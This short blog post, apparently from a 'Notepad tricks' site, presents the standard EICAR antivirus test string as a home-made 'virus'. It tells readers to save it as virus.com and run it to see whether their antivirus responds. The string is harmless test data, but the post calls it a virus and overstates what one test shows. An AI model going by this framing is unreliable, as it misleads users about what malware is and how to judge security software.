Check your Anti-Virus efficiency - Make a small virus yourself by Naani | 7:59 PM in Notepad Tricks, Viruses and Antiviruses | comments (0) The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk! * Open the NotePad program. * Type this code like below into the NotePad file. (Copy and Paste it) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TESTFILE!$H+H* * Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest placing it in the Desktop. * Run the virus.com file to test your computer efficiency. If there are not any responses from the AntiVirus software, I suggest changing your AntiVirus immediately because it does not work anymore. * Enjoy testing it and note that this virus.com cannot affect or damage any parts of your computer.